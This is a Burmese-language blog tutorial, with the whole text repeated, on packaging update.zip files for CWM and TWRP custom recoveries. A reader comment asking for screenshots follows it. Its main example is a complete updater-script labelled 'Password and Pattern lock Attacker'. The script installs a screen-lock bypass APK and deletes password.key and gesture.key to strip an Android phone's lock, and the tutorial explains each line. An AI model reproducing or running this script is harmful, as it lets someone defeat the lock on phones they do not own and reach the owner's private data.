Clockworkmod recovery , Teamwin recovery စတဲ႔ Custom recovery ေတြကေန သြင္းရတဲ႔ update.zip
ဖိုင္ေတြကို ဒီလို ေဆာက္မယ္
၁. သံုးမယ္ ကြန္ျပဴတာမွာ JAVA သြင္းၿပီး ျဖစ္ေနရပါမယ္ ဒီေနရာမွာ ကိုယ္နဲ႔ သင္႔ေတာ္မယ္႔ Java ကိုေဒါင္းပါ ၊ ရွိပီးသားလူေတြက ဒီအဆင္႔ကိုေက်ာ္ပါ
JAVA DOWNLOAD
၂.Notepad++ ကို ဒီမွာေဒါင္းပါ
၃. Update-Zip-Packager.zip ကို ဒီေနရာမွာ ေဒါင္းပါ
၄. ေဒါင္းလို႕ရလာတာကို ကိုယ္ အဆင္ေျပတဲ႔ ေနရာမွာ ျဖည္ခ်လိုက္ပါ Folder ႏွစ္ခု( other , placehere ) နဲ႕ Script.bat ဆိုတာေလးရလာပါမယ္
other ဖိုဒါ ထဲမွာ Tool အလုပ္လုပ္ဖို႔ လိုအပ္တဲ႔ ဖိုင္ေလးေတြပါပါတယ္ ၊ ဘာမွမလုပ္ပါနဲ႕ ဒီတိုင္းထားလိုက္ပါ
placehere ဖိုဒါ ကေတာ႔ ကိုယ္သံုးရမယ္႔ ဖိုဒါပါ
ကၽြန္ေတာ္တို႔ CWM ကေနသြင္းတဲ႔ ဇစ္ဖိုင္ေတြမွာ မပါမျဖစ္ META-INF ဆိုတဲ႔ ဖိုဒါလိုပါတယ္
သူ႕ထဲမွာမွ com ဖိုဒါ ရယ္
CERT.RSA RSA File format
CERT.SF SF format
MANIFEST.MF MF format ရယ္ ပါပါတယ္ ,
com ဖိုဒါေအာက္မွာမွ
-\google\android\ေအာက္မွာ
update-binary
updater-script ဆိုတဲ႔ ဖိုင္ႏွစ္ခုပါပါတယ္
update-binary ကေတာ႔ သူဟာသူအလိုလို generate လုပ္ပါတယ္ ကိုယ္က လိုက္ျပင္ေပးစရာမလိုပါဘူး
****updater-script ကေတာ႔ ကိုယ္ လုပ္မယ္႔ လုပ္ငန္းစဥ္ေတြကို ခ်ေရးရမယ္႔ေနရာပါ****
ပထမဆံုး နမူနာတစ္ခုအေနနဲ႔ pattern ေတြ password ေတြ Patternေတြ ျဖဳတ္ေပးမယ္႔ script ေလးကို ေလ႔လာလိုက္ရေအာင္
နမူနာဖိုင္ကို ဒီမွာေဒါင္းပါ
ေဒါင္းလို႔ရလာတာေလးကို zipျဖည္လိုက္ပါ
META-INF\com\google\android\ကိုေရာက္ေအာင္ သြားပါ
1.updater-script ကို Notepad++ မွာ ဖြင္႔လိုက္ပါ
ဒီလိုေလးေတြ႕ရပါမယ္--
show_progress(0.900000, 10);
ui_print(" ");
ui_print(" ");
ui_print("************************************************");
ui_print("* Password and Pattern lock Attacker *");
ui_print("* *");
ui_print("* Created by Phyo Nyi nyi *");
ui_print("* *");
ui_print("* bar nyar bar nyar *");
ui_print("* *");
ui_print("* *");
ui_print("************************************************");
ui_print(" ");
ui_print(" ");
ui_print("-- Mounting System...");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
run_program("/sbin/busybox", "mount", "/cache");
sleep(3);
ui_print("-- Clearing cache & dalvik...");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
ui_print("-- Insttalling Bypass.apk...");
package_extract_dir("data/app/se.curity.android.screenlockbypass-1.apk", "/data/app/se.curity.android.screenlockbypass-1.apk");
sleep(2);
ui_print("-- Attacking LOCKs......");
delete("/data/system/password.key");
delete("/data/system/gesture.key");
sleep(2);
ui_print("-- Unmounting System...");
unmount("/system");
unmount("/cache");
unmount("/data");
sleep(1);
ui_print("-- Cleaning cache & dalvik...");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
ui_print("-- Clearing cache & dalvik again...");
ui_print(" ");
ui_print(" ");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
show_progress(0.100000, 0);
sleep(1);
ရွင္းလင္းခ်က္....
ui_print(*******); ကေတာ႕ ကိုယ္ေရး ခ်င္တဲ႔ အေၾကာင္းအရာ ခ်ေရးဖို႔ပါ
ui_print("-- Mounting System...");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
run_program("/sbin/busybox", "mount", "/cache");
system partition data partition ေတြကို mount လုပ္ပါမယ္
sleep(3); က 3 seconds နားပါမယ္
package_extract_dir("data/app/se.curity.android.screenlockbypass-1.apk", "/data/app/se.curity.android.screenlockbypass-1.apk");
screen lock bypass.apk ကို /data/app/ ေအာက္မွာသြင္းပါတယ္
ui_print("-- Attacking LOCKs......");
delete("/data/system/password.key");
delete("/data/system/gesture.key");
/data/system/ေအာက္က password.key
/data/system/ေအာက္က gesture.key စတာေတြကို ဖ်က္ပါတယ
ui_print("-- Unmounting System...");
unmount("/system");
unmount("/cache");
unmount("/data");
System ကို unmount ျပန္လုပ္ပါတယ္
ui_print("-- Cleaning cache & dalvik...");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
delvick-cache , cache file ေတြျပန္ဖ်က္ပါတယ္
လုပ္ငန္းစဥ္ ၿပီးဆံုးပါၿပီ
ေနာက္ေန႔ rooter script နဲ႔ ပတ္သက္တာေတြ ထပ္ရွင္းပါမယ္
-------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------
ကၽြန္ေတာ္တို႔ create လုပ္မယ္႔ File မွန္သမွ်ကို palacehere ဖိုဒါေအာက္ကို ပို႔လိုက္ပါမယ္
Script.bat ကို run လိုက္ရင္ ဒါမ်ိဳးေလးျပလာပါမယ္
Do you want to clean out previous updater-script and update.zip (y/n)?
Enter:
y ဆိုရင္ placehere ဖိုဒါေအာက္က ရွိသမွ် ဖ်က္လိုက္ပါလိမ္႔မယ္
n ဆိုရင္ေတာ႔
--------------------------------------------------------------------------
| Compression-Level: 9 | Heap Size : 512mb | Update.zip Manager : v3.0 |
--------------------------------------------------------------------------
****************************** Update.zip Creator*************************
1. Create updater-script
2. Create Update.zip (from files within placehere folder)
3. Push to Sdcard
4. Select compression level for apk's
5. Set Max Heap Size (Only change if when signing the zip disappears)
6. Exit
**************************************************************************
Please make your decision:
လို႔ ေပၚလာပါမယ္ နံပါတ္ 2 ကိုေရြးၿပီး Enter ေခါက္လိုက္ရင္ေတာ႔ placehere ဖိုဒါေအာက္မွာ ရွိေနသမွ်ကို zip လုပ္ပီး sign လုပ္ေပးပါလိမ္႔မယ္
ခုဆိုရင္ ရလာတဲ႔ update.zip ဖိုင္ေလးကို custom recovery တစ္ခုခု ကေန သြင္းလို႔ ရတဲ႔ အဆင္႔ ေရာက္သြားပါၿပီ
ဖိုင္ေတြကို ဒီလို ေဆာက္မယ္
၁. သံုးမယ္ ကြန္ျပဴတာမွာ JAVA သြင္းၿပီး ျဖစ္ေနရပါမယ္ ဒီေနရာမွာ ကိုယ္နဲ႔ သင္႔ေတာ္မယ္႔ Java ကိုေဒါင္းပါ ၊ ရွိပီးသားလူေတြက ဒီအဆင္႔ကိုေက်ာ္ပါ
JAVA DOWNLOAD
၂.Notepad++ ကို ဒီမွာေဒါင္းပါ
၃. Update-Zip-Packager.zip ကို ဒီေနရာမွာ ေဒါင္းပါ
၄. ေဒါင္းလို႕ရလာတာကို ကိုယ္ အဆင္ေျပတဲ႔ ေနရာမွာ ျဖည္ခ်လိုက္ပါ Folder ႏွစ္ခု( other , placehere ) နဲ႕ Script.bat ဆိုတာေလးရလာပါမယ္
other ဖိုဒါ ထဲမွာ Tool အလုပ္လုပ္ဖို႔ လိုအပ္တဲ႔ ဖိုင္ေလးေတြပါပါတယ္ ၊ ဘာမွမလုပ္ပါနဲ႕ ဒီတိုင္းထားလိုက္ပါ
placehere ဖိုဒါ ကေတာ႔ ကိုယ္သံုးရမယ္႔ ဖိုဒါပါ
ကၽြန္ေတာ္တို႔ CWM ကေနသြင္းတဲ႔ ဇစ္ဖိုင္ေတြမွာ မပါမျဖစ္ META-INF ဆိုတဲ႔ ဖိုဒါလိုပါတယ္
သူ႕ထဲမွာမွ com ဖိုဒါ ရယ္
CERT.RSA RSA File format
CERT.SF SF format
MANIFEST.MF MF format ရယ္ ပါပါတယ္ ,
com ဖိုဒါေအာက္မွာမွ
-\google\android\ေအာက္မွာ
update-binary
updater-script ဆိုတဲ႔ ဖိုင္ႏွစ္ခုပါပါတယ္
update-binary ကေတာ႔ သူဟာသူအလိုလို generate လုပ္ပါတယ္ ကိုယ္က လိုက္ျပင္ေပးစရာမလိုပါဘူး
****updater-script ကေတာ႔ ကိုယ္ လုပ္မယ္႔ လုပ္ငန္းစဥ္ေတြကို ခ်ေရးရမယ္႔ေနရာပါ****
ပထမဆံုး နမူနာတစ္ခုအေနနဲ႔ pattern ေတြ password ေတြ Patternေတြ ျဖဳတ္ေပးမယ္႔ script ေလးကို ေလ႔လာလိုက္ရေအာင္
နမူနာဖိုင္ကို ဒီမွာေဒါင္းပါ
ေဒါင္းလို႔ရလာတာေလးကို zipျဖည္လိုက္ပါ
META-INF\com\google\android\ကိုေရာက္ေအာင္ သြားပါ
1.updater-script ကို Notepad++ မွာ ဖြင္႔လိုက္ပါ
ဒီလိုေလးေတြ႕ရပါမယ္--
show_progress(0.900000, 10);
ui_print(" ");
ui_print(" ");
ui_print("************************************************");
ui_print("* Password and Pattern lock Attacker *");
ui_print("* *");
ui_print("* Created by Phyo Nyi nyi *");
ui_print("* *");
ui_print("* bar nyar bar nyar *");
ui_print("* *");
ui_print("* *");
ui_print("************************************************");
ui_print(" ");
ui_print(" ");
ui_print("-- Mounting System...");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
run_program("/sbin/busybox", "mount", "/cache");
sleep(3);
ui_print("-- Clearing cache & dalvik...");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
ui_print("-- Insttalling Bypass.apk...");
package_extract_dir("data/app/se.curity.android.screenlockbypass-1.apk", "/data/app/se.curity.android.screenlockbypass-1.apk");
sleep(2);
ui_print("-- Attacking LOCKs......");
delete("/data/system/password.key");
delete("/data/system/gesture.key");
sleep(2);
ui_print("-- Unmounting System...");
unmount("/system");
unmount("/cache");
unmount("/data");
sleep(1);
ui_print("-- Cleaning cache & dalvik...");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
ui_print("-- Clearing cache & dalvik again...");
ui_print(" ");
ui_print(" ");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
show_progress(0.100000, 0);
sleep(1);
ရွင္းလင္းခ်က္....
ui_print(*******); ကေတာ႕ ကိုယ္ေရး ခ်င္တဲ႔ အေၾကာင္းအရာ ခ်ေရးဖို႔ပါ
ui_print("-- Mounting System...");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
run_program("/sbin/busybox", "mount", "/cache");
system partition data partition ေတြကို mount လုပ္ပါမယ္
sleep(3); က 3 seconds နားပါမယ္
package_extract_dir("data/app/se.curity.android.screenlockbypass-1.apk", "/data/app/se.curity.android.screenlockbypass-1.apk");
screen lock bypass.apk ကို /data/app/ ေအာက္မွာသြင္းပါတယ္
ui_print("-- Attacking LOCKs......");
delete("/data/system/password.key");
delete("/data/system/gesture.key");
/data/system/ေအာက္က password.key
/data/system/ေအာက္က gesture.key စတာေတြကို ဖ်က္ပါတယ
ui_print("-- Unmounting System...");
unmount("/system");
unmount("/cache");
unmount("/data");
System ကို unmount ျပန္လုပ္ပါတယ္
ui_print("-- Cleaning cache & dalvik...");
delete_recursive("/data/dalvik-cache");
delete_recursive("/cache");
delvick-cache , cache file ေတြျပန္ဖ်က္ပါတယ္
လုပ္ငန္းစဥ္ ၿပီးဆံုးပါၿပီ
ေနာက္ေန႔ rooter script နဲ႔ ပတ္သက္တာေတြ ထပ္ရွင္းပါမယ္
-------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------
ကၽြန္ေတာ္တို႔ create လုပ္မယ္႔ File မွန္သမွ်ကို palacehere ဖိုဒါေအာက္ကို ပို႔လိုက္ပါမယ္
Script.bat ကို run လိုက္ရင္ ဒါမ်ိဳးေလးျပလာပါမယ္
Do you want to clean out previous updater-script and update.zip (y/n)?
Enter:
y ဆိုရင္ placehere ဖိုဒါေအာက္က ရွိသမွ် ဖ်က္လိုက္ပါလိမ္႔မယ္
n ဆိုရင္ေတာ႔
--------------------------------------------------------------------------
| Compression-Level: 9 | Heap Size : 512mb | Update.zip Manager : v3.0 |
--------------------------------------------------------------------------
****************************** Update.zip Creator*************************
1. Create updater-script
2. Create Update.zip (from files within placehere folder)
3. Push to Sdcard
4. Select compression level for apk's
5. Set Max Heap Size (Only change if when signing the zip disappears)
6. Exit
**************************************************************************
Please make your decision:
လို႔ ေပၚလာပါမယ္ နံပါတ္ 2 ကိုေရြးၿပီး Enter ေခါက္လိုက္ရင္ေတာ႔ placehere ဖိုဒါေအာက္မွာ ရွိေနသမွ်ကို zip လုပ္ပီး sign လုပ္ေပးပါလိမ္႔မယ္
ခုဆိုရင္ ရလာတဲ႔ update.zip ဖိုင္ေလးကို custom recovery တစ္ခုခု ကေန သြင္းလို႔ ရတဲ႔ အဆင္႔ ေရာက္သြားပါၿပီ
ပံုေလးေတြနဲ႕ဆို အရမ္းေကာင္းမယ္ဗ်ာ.. အခုေတာ႕ နားကိုမလည္ဘူး... ကၽြန္ေတာ္ CMW တို႕ Flash တို႕ကို ဘာမွနားမလည္ဘူးဗ်... ရွင္းျပေပးပါလား... ဆရာတို႕
ReplyDelete